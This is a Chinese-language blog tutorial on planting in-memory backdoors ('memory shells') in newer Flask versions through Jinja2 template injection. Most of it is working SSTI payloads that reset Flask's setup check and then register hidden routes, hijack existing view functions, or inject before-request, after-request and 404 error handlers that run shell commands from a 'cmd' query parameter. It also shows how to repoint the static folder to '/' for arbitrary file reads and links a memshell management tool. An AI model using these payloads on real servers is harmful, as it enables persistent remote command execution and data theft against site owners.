Flask内存马详解

本篇以jinja2 ssti视角研究Flask高版本内存马

拿request对象

1
2
3
__import__("flask").request.args.get("cmd") #直接从flask拿
ur1_for.__globals__['request'] #从flask的一些函数的__globals__里拿
request_ctx.request.args.get #request_ctx的属性

app.view_functions相关

因为高版本给add_url_rule加了装饰器@setupmethod,这个装饰器会先调用app._check_setup_finished, 所以得将app._got_first_request改为False

1
2
3
4
5
6
7
8
9
10
11
def _check_setup_finished(self, f_name: str) -> None:
if self._got_first_request:
raise AssertionError(
f"The setup method '{f_name}' can no longer be called"
" on the application. It has already handled its first"
" request, any changes will not be applied"
" consistently.\n"
"Make sure all imports, decorators, functions, etc."
" needed to set up the application are done before"
" running it."
)

路由装饰器

1
2
3
4
{{lipsum.__globals__['__builtins__']['exec']('app._got_first_request=False
@app.get("/dd")#其他的应该都可以
def cmd():
return __import__("os").popen(__import__("flask").request.args.get("cmd")).read()',{'app':url_for.__globals__['current_app']})}}
1
2
3
4
{{lipsum.__globals__['__builtins__']['exec']('app._got_first_request=False
def cmd():
return __import__("os").popen(__import__("flask").request.args.get("cmd")).read()
app.get("/dd")(cmd)',{'app':url_for.__globals__['current_app']})}}

add_url_rule

1
2
3
4
5
{{lipsum.__globals__['__builtins__']['exec']('app._got_first_request=False
def cmd():
return __import__("os").popen("whoami").read()'
app.add_url_rule("/ss","cmd",cmd)#使用lambda表达式也ok
,{'app':url_for.__globals__['current_app']})}}

add_url_rule最后还是调用url_map.add(rule_obj)然后view_functions[endpoint] = view_func

这里就不用改app._got_first_request=False

1
2
3
4
url_for.__globals__['__builtins__']['exec'](
"app.url_map.add(app.url_rule_class('/shell', methods=['GET'], endpoint='shell'));app.view_functions.update({'shell': lambda:__import__('os').popen('whoami').read()})",#或者app.view_functions["shell"]=lambda:__import__('os').popen('whoami').read()
{'app':url_for.__globals__['current_app']}
)

endpoint装饰器会view_functions[endpoint] = view_func,但是有@setupmethod

1
2
3
4
5
6
7
url_for.__globals__['__builtins__']['exec']("app._got_first_request=False
app.url_map.add(app.url_rule_class('/shell', methods=['GET'], endpoint='shell'))
@app.endpoint('shell')
def f():
return __import__('os').popen('whoami').read()",
{'app':url_for.__globals__['current_app']}
)

反正老多了比如_method_route("PATCH", rule, options)

劫持路由函数

比如存在

@app.route(“/“)
def index():

1
2
3
4
url_for.__globals__['__builtins__']['exec'](
"app.view_functions['index'] = lambda:__import__('os').popen('whoami').read()",#这里的index是你的路由装饰函数
{'app':url_for.__globals__['current_app']}
)

app.before_request_funcs相关

这函数也装饰了@setupmethod

1
2
3
4
5
lipsum.__globals__['__builtins__']['exec']("app._got_first_request=False
@app.before_request
def f():
return __import__('os').popen('whoami').read()",
{'app':url_for.__globals__['current_app']})

向before_request_funcs字典里加

1
app.before_request_funcs.setdefault(None, []).append(lambda: __import__('os').popen('whoami').read())

app.after_request_funcs相关

函数只能返回response对象

1
2
3
4
5
{{lipsum.__globals__['__builtins__']['exec']("app._got_first_request=False
@app.after_request
def f(c):
return __import__('flask').Response(__import__('os').popen('whoami').read())",#app.make_response可以直接生成Response,好多函数都能返回Response,但是不太好构造
{'app':url_for.__globals__['current_app']})}}

向after_request_funcs字典里加

1
app.after_request_funcs.setdefault(None, []).append(lambda x:__import__('flask').Response(__import__('os').popen('whoami').read()))

app.error_handler_spec相关

1
2
3
4
5
lipsum.__globals__['__builtins__']['exec']("app._got_first_request=False
@app.errorhandler(404)
def error_handler(d):
return __import__('os').popen('whoami').read()",
{'app':url_for.__globals__['current_app']})
1
2
3
lipsum.__globals__['__builtins__']['exec']("app._got_first_request=False
app.register_error_handler(404,lambda e:__import__('os').popen('whoami').read())",
{'app':url_for.__globals__['current_app']})
1
{{url_for.__globals__['__builtins__']['exec']("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda error:__import__('os').popen(request.args.get('cmd')).read()", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

其他

app.teardown_request (无回显呀,感觉没啥意义)

1
2
3
4
5
lipsum.__globals__['__builtins__']['exec']("app._got_first_request=False
@app.teardown_request
def f(x):
return __import__('os').popen('whoami').read()",
{'app':url_for.__globals__['current_app']})

重写某些每次请求都会执行的函数,这样会比较危险,而且不容易有回显

回显相关

可以对Response类做更改

1
2
Response.default_status=__import__('os').popen('whoami').read()
Response.default_mimetype=__import__('os').popen('whoami').read()

然后就是对Response对象的更改(有些只做了类型标准,没有初始化的属性就只能改响应对象啦),但是每次请求都创建新响应对象,所以我觉得这个作用不大,本质上跟生成响应没啥区别

题外

改static_folder读任意文件

1
app.static_url_path="/static";app.static_folder="/"   #然后static/app.py读源码

先写这么多,后面再更?

现成的Python内存马管理工具:https://github.com/orzchen/PyMemShell


Flask内存马详解
https://www.xiaotian.org.cn/2025/05/07/Flask内存马详解/
作者
xiaotian
发布于
2025年5月7日
许可协议